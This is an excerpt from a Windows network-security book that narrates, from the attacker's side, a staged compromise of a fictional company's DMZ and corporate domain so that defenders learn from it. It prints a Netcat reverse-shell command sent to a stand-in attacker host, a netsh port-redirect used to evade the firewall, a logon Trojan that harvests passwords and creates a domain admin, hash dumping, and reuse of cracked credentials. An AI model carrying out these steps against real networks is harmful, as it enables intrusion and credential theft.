Taking over the domain

This excerpt from Chapter 2 of "Protect Your Windows Network from Perimeter to Data," by Jesper Johansson and Steve Riley, is about.securing networks by understanding how hackers take advantage of your mistakes.

The following excerpt is from Chapter 2 of "Protect Your Windows Network from Perimeter to Data" written by Jesper Johansson and Steve Riley. Click for the complete book excerpt series or purchase the book.

Taking over the domain

Now we need to get down to the business of taking over the DMZ domain. Recall that so far we own the database server and the Web server, everything except the domain controller in fact. However, what have we really gained with the Web server? To find out, we need to start by uploading our tools to it and then get a remote command shell on that system just like we did on the database server. It is just a bit simpler now that we have an administrative SMB connection to the Web server. For example, we can now schedule a command or run a remote command utility to upload our warez to the Web server and execute them there. After we have done that, we run Netcat and pop back a remote shell to our attacker host just like we did with the Web server. We start by opening up a Netcat listener on port 12346 on the attacker host. Then we use System Internals excellent psexec tool to upload our warez to the Web server and execute our remote command:

C:\warez\psexec \\pyn-web -d c:\warez\nc -v -e cmd.exe
attacker.external 12346

This will generate a remove command shell from the Web server on our attacker, just like from the Web server.

The observant reader may have noticed by now that so far, if you do not count a very graphically deficient Web site, we have not seen so much as a dialog box. Frankly, many attackers (ourselves included) prefer working with a command line because it is often more efficient for attacks.

However, with two machines compromised, the attacker may also access a graphical user interface (GUI), but will have to resort to some trickery to do so.

NOTE: It is quite comical really, we are two thirds of the way through this chapter, you are still reading, and we have not seen anything other than a bunch of command-line tools yet. That's an interesting statement on our profession, is it not?

The most obvious GUI connection is to use Windows Terminal Services (RDP). RDP listens on port 3389. A port scan of the database server reveals that it also has Terminal Services running:

Port open
Port open
Port open
Port open
Port open

The problem is that we cannot just rebind Terminal Services to use that port. If we were to do that, it would be highly noticeable. Stealth is critical to attackers, so we have to do something else. That something else is a port redirector.

Recall that we only had two ports open on the firewall, 80 and 443. Also remember that there was nothing listening on port 443 on the Web server. If we needed to open a listener somewhere, that would be a great port to use. If only required ports are open in the firewall, the attacker would have to disrupt an existing service, however briefly, to set up a listener. However, if there are unused ports open in the firewall, we can set up a port redirector without disrupting operations and risk tipping off the legitimate administrators.

A port redirector takes traffic coming in on one port and directs it to another host on another port. In other words, we can set up a port redirector on the Web server that will take incoming traffic on port 443 and send it out to port 3389 on the database server. Breaking with the tradition of not shipping attack tools with the OS, Microsoft now ships a port redirector with IPv6:

C:\warez>netsh interface portproxy add v4tov4 listenport=443
connectaddress=PYN-SQL  connectport=3389

If IPv6 is installed, the netsh tool is extended to include a port proxy. This functionality is designed to map an IPv6 port to an IPv4 port (more correctly, a transport layer port on top of IPv6 to another transport layer port on IPv4) to enable IPv6 traversal on IPv4 networks.

If the compromised host does not have IPv6, the attacker would either need to install it or use a custom attack tool. Since the Web server has IPv6 in this case, however, we can use the built-in functionality. With that socket open, all we do is establish to the Web server connection using our ordinary Terminal Services client. Note that we tell the client to connect to the Web server, not to the database server. The port redirector takes care of forwarding our traffic to the database server.

mstsc /v:www.victimsrus.com:443

The result is easy to see in Figure 2-6. We can now log on with our _IDS user account. Once there, we have the full power of a GUI.

Figure 2-6   Obtaining a graphical shell is possible through a poorly configured firewall.

Going back to the Web server for a moment, we still do not know who the administrators are on that server because dumpinfo would not tell us. We can use the built-in tools to find out:

C:\warez>net localgroup administrators
Alias name   administrators
Comment      Administrators have complete and unrestricted
access to the computer/domain



PYN-DMZDomain Admins
The command completed successfully.

This is actually highly interesting. There are not many accounts here. We only see the service account we have already found, the local Administrator, and the Domain Admins. That probably means that when they need to administer the system, the administrators use an account in the Domain Admins group. That is really good to know, because it opens the possibility of using a Trojan horse program to make one of those users take over the domain for us.

Just as with viruses and worms, the security community is still arguing about the exact definition of a Trojan horse program, or Trojan for short. Rather than enter that debate, we use a working definition of Trojan as "a malicious program that is executed by a user, explicitly or inadvertently, in the course of the user's normal operations, and that has a clandestine effect in addition to what the user expects it to do." Trojans usually present some kind of functionality to users that they need, and then do something else in addition to that functionality..

Generally speaking, an attacker would rather use a direct attack because they give faster results. However, if all else fails, we will resort to a passive attack to accomplish our goal. A Trojan is one form of such an attack, and in this case, we are going to turn the logon process into a Trojan.

To do so, we use yet another custom tool. We will register it on the Web server ( from our Terminal Services connection on the database server and set it up to notify our attacker,, as shown in Figure 2-7.

Figure 2-7   Registering a Trojan horse.

The Trojan is self-registering and installs itself in a couple of places. First, it installs a "credential manager." A credential manager may be legitimately used to connect to other systems using the credentials you logged on to this system with. Because it receives cleartext credentials to do this, it may be illegitimately used to capture cleartext passwords any time anyone logs on. Now consider this, what is the first thing the admin is likely to do if something seems amiss with a system? Far too often, the answer is "log on." As soon as that happens, the attacker gets this handy notification:

C:\ >nc -l -p 80
Station Name=WinSta0

In this case, the notification is going to the attacker host via port 80. We just set up Netcat on that host and told it to echo everything sent to it to the screen. This particular Trojan simply opens a socket to port 80 on the attacker's host and sends the notification to it. However, notifications could be encrypted, encoded, come over just about any port or protocol, and altered in myriad ways. Attackers often use Internet Relay Chat (IRC), for instance. We have also seen several Trojans that implement encryption of all notifications, although we have yet to see one that does a very good job on key exchange.

The Trojan also puts a link to itself in HKLM\Software\Microsoft\Windows\CurrentVersion\Run. When it gets called, it determines whether the user logging on is a domain administrator. If so, the Trojan, which is now executing in the context of that user, creates a new user account on the domain and then adds that account to the Domain Admins group. (The credential manager runs as LocalSystem, and cannot perform this task, which is why this is done by the portion under the Run key instead.) If it was successful in creating the new user, it sends a notification to the attacker over the same notification channel used previously:

Succeeded in adding a user.
User: attacker$
Password: "Uare0wn3d!"
Domain: PYN-DMZ

Finally, the Trojan removes itself from the Run key to hide its tracks. All this happens while the administrator is logging on, and therefore is completely transparent to him.

Credential managers, as mentioned earlier, are used to connect transparently to other systems using the credentials you logged on to this system with. This is all part of that great panacea of system administration -- single sign-on. However, if you change your password on this system, you also need to change it on the other system. Therefore, the credential manager can also synchronize passwords across systems, and it gets called on password change to do so. Now consider what the administrator would do if he suspected the system had been compromised and his password stolen? Changing the password seems like a good idea here, so he goes ahead and does that. The attacker now gets another notification:

Password Change
Station Name=WinSta0
Old Password="Test1234"
New Password="Test12345"

Do we need to state it any more clearly than this? Once the bad guy can run code as a domain administrator, your network ain't your network any longer. That network is now completely untrustworthy.

WARNING: The instant you log on with domain administrative credentials to a compromised system, you give up the entire domain!

At this point, as shown in Figure 2-1c, the DMZ domain has fallen. We now have full access to the keeper of the keys to the kingdom. Those keys consist of, among other things, the user accounts database, which we will get to shortly, right after we pop back another remote command shell just like before.

Figure 2-1c   The DMZ domain controller has now been compromised.

As soon as the attacker takes over a domain controller, the first act is usually to extract all user accounts and password hashes from the domain controller. Because we have administrative privileges, doing so is a simple matter of running the very popular PWDump tool. Doing so results in output such as this:


Full details on how to interpret this output are available in Chapter 11. For now, it is sufficient to know that Windows by default stores two different password representations: the LM "hash" (which is not actually a hash) and the NT hash. From this output, we can tell that this system stores the LM hashes. (For information on how, turn to Chapter 11.) This is good (bad?) news because it is so much easier to crack those. Feeding this output into our favorite password cracker, we soon get output as shown in Table 2-2.

Table 2-2   Password cracker output

Alex ARIA_DNE aria_Dne 0d 16h 52m 34s Brute Force
Bob _WILLAA x _WillAA 0d 1h 16m 8s Brute Force
Cecil ???????S
Denise DECEMBE(R deceMbe(r 0d 0h 0m 43s Brute Force
Eric SHIVE*RS shiVe*rs 0d 22h 36m 14s Brute Force
Fred AMORP(HOUS aMorp(hous 0d 10h 41m 50s Brute Force
George P+AINLESS p+aiNless 0d 6h 18m 4s Brute Force
Henry COFFEE` x coffEe` 0d 0h 0m 1s Hybrid
Irene MICH~ELLE micH~elle 0d 14h 30m 26s Brute Force
Julie x
Kurt NY^QUIST Ny^quist 0d 22h 56m 17s Brute Force
Laura F_ERMAT x f_ermAt 0d 23h 56m 21s Brute Force
Maggie FISHE)RS fiShe)rs 0d 22h 39m 2s Brute Force
Teddy AMORP(HOUS aMorp(hous 0d 10h 41m 50s Brute Force
Mike YOSEMITE^ yosemiTe^ 0d 0h 0m 1s Hybrid

As you can see from Table 2-2, within 24 hours we have cracked most of the passwords on this system; and these are not bad passwords! We cracked three in less than a minute. A real attacker may crack passwords even faster. Tools are available that trade off storage space for cracking speed, greatly decreasing crack time. For a full discussion, turn to Chapter 11.

While the crack is going on, we will continue with learning more about the network:

C:\warez>ipconfig /all

Windows IP Configuration

Host Name . . . . . . . . . . . . . : PYN-DMZ-DC
Primary DNS Suffix . . . . . . . . .: PYN-DMZ.LOCAL
Node Type . . . . . . . . . . . . . : Unknown
IP Routing Enabled . . . . . . . . .: Yes
WINS Proxy Enabled . . . . . . . . .: No
DNS Suffix Search List . . . . . . .: PYN-DMZ.LOCAL

Ethernet adapter CorpNet:

Connection-specific DNS Suffix . . .:
Description . . . . . . . . . . . . : Intel 21140-Based
PCI Fast Ethernet
Adapter (Generic) #2
Physical Address . . . . . . . . . .: 00-03-FF-06-3E-F0
DHCP Enabled . . . . . . . . . . . .: No
IP Address . . . . . . . . . . . . .:
Subnet Mask . . . . . . . . . . . . :
Default Gateway . . . . . . . . . . :
DNS Servers . . . . . . . . . . . . :

Ethernet adapter DMZNet:

Connection-specific DNS Suffix . . .:
Description . . . . . . . . . . . . : Intel 21140-Based PCI
PCI Fast Ethernet
Adapter (Generic)
Physical Address . . . . . . . . . .: 00-03-FF-07-3E-F0
DHCP Enabled . . . . . . . . . . . .: No
IP Address . . . . . . . . . . . . .:
Subnet Mask . . . . . . . . . . . . :
Default Gateway . . . . . . . . . . :
DNS Servers . . . . . . . . . . . . :

This output is extremely interesting. The DC is not only dual-homed, it is dual-homed on the corporate network and the DMZ. This is sometimes done in order to be able to use user accounts from one domain in another. Regardless of the reasons, the corporate network is the ultimate target, so the attack proceeds by footprinting that network:

C:\warez>discoverHosts 10.1.2
Reply from bytes=32 time<1ms TTL=128
Reply from bytes=32 time=54ms TTL=128

16 is obviously the data center DC, but 17 is a new host that we have not seen before. Using another anonymous enumeration tool, we can get some more information on it:

Domain: PYN
OS Version: 5.2
Server details:
Workstation service
Server service
Domain Controller
NTP Time source

17 is the domain controller we were looking for. We can tell that it is running Windows Server 2003, but not much else about it. Next we dump out the users:


The Administrator is:    PYN\Administrator

Users on PYN-CORPDC:

  RID 1000   PYN\HelpServicesGroup an Alias
  RID 1001   PYN\SUPPORT_388945a0 a User
  RID 1002   PYN\TelnetClients an Alias
  RID 1003   PYN\PYN-CORPDC$   a User
  RID 1104   PYN\Aaron   a User
  RID 1105   PYN\Billy   a User
  RID 1106   PYN\Chuck  a User
  RID 1107   PYN\Dylan   a User
  RID 1108   PYN\Ellen   a User
  RID 1109   PYN\Frank   a User
  RID 1110   PYN\Tom   a User
  RID 1111   PYN\Dick   a User
  RID 1112   PYN\Harry   a User
  RID 1113   PYN\Ingrid   a User
  RID 1114   PYN\Jennifer   a User
  RID 1115   PYN\Maggie   a User
  RID 1116   PYN\Teddy   a User
  RID 1117   PYN\Mike   a User
  RID 1118   PYN\McKenzie   a User...
  Share   Type Comment
  IPC$   Unknown Remote IPC
  NETLOGON   Disk Logon server share
  ADMIN$   Special Remote Admin
  SYSVOL   Disk Logon server share
  C$   Special Default share
Unable to enumerate administrators
ERROR: Access Denied

This system has far more users than the other ones we have seen. (The output above has been truncated for brevity.) That is to be expected though, because this is the main corporate DC. We also find several users who also had accounts on the DMZ DC. In fact, there is one whose passwords we cracked in seconds. It is probably reasonable to expect that users who have administrative accounts in the DMZ also have administrative accounts in the corporate network, and the chances that they use the same password on both networks are usually really good. For these reasons, most attackers would probably just go try any duplicated accounts. So far the attack has been very stealthy, and if it does not work there will be a single failed logon, which is an acceptable risk in most cases.

C:\warez>net use \\pyn-corpdc\c$ /u:pyn\Mike "yosemiTe^"
The command completed successfully.

That's it. As shown in Figure 2-1d, this network has now been completely compromised!

At this point the attacker could take whatever action is desired. Potential options would be to scavenge the network for data, steal confidential information, add him or herself to the payroll, use the network to attack some other network such as a business partner, and so on. The attacker now has complete and unrestricted access to the entire victimsrus.com network.

Figure 2-1d   The entire network has now been compromised.

Click for the next excerpt in this series: How to get an attacker out of your network

Click for the book excerpt series or visit Addison-Wesley to purchase the book.

Dig Deeper on Unified endpoint management

Virtual Desktop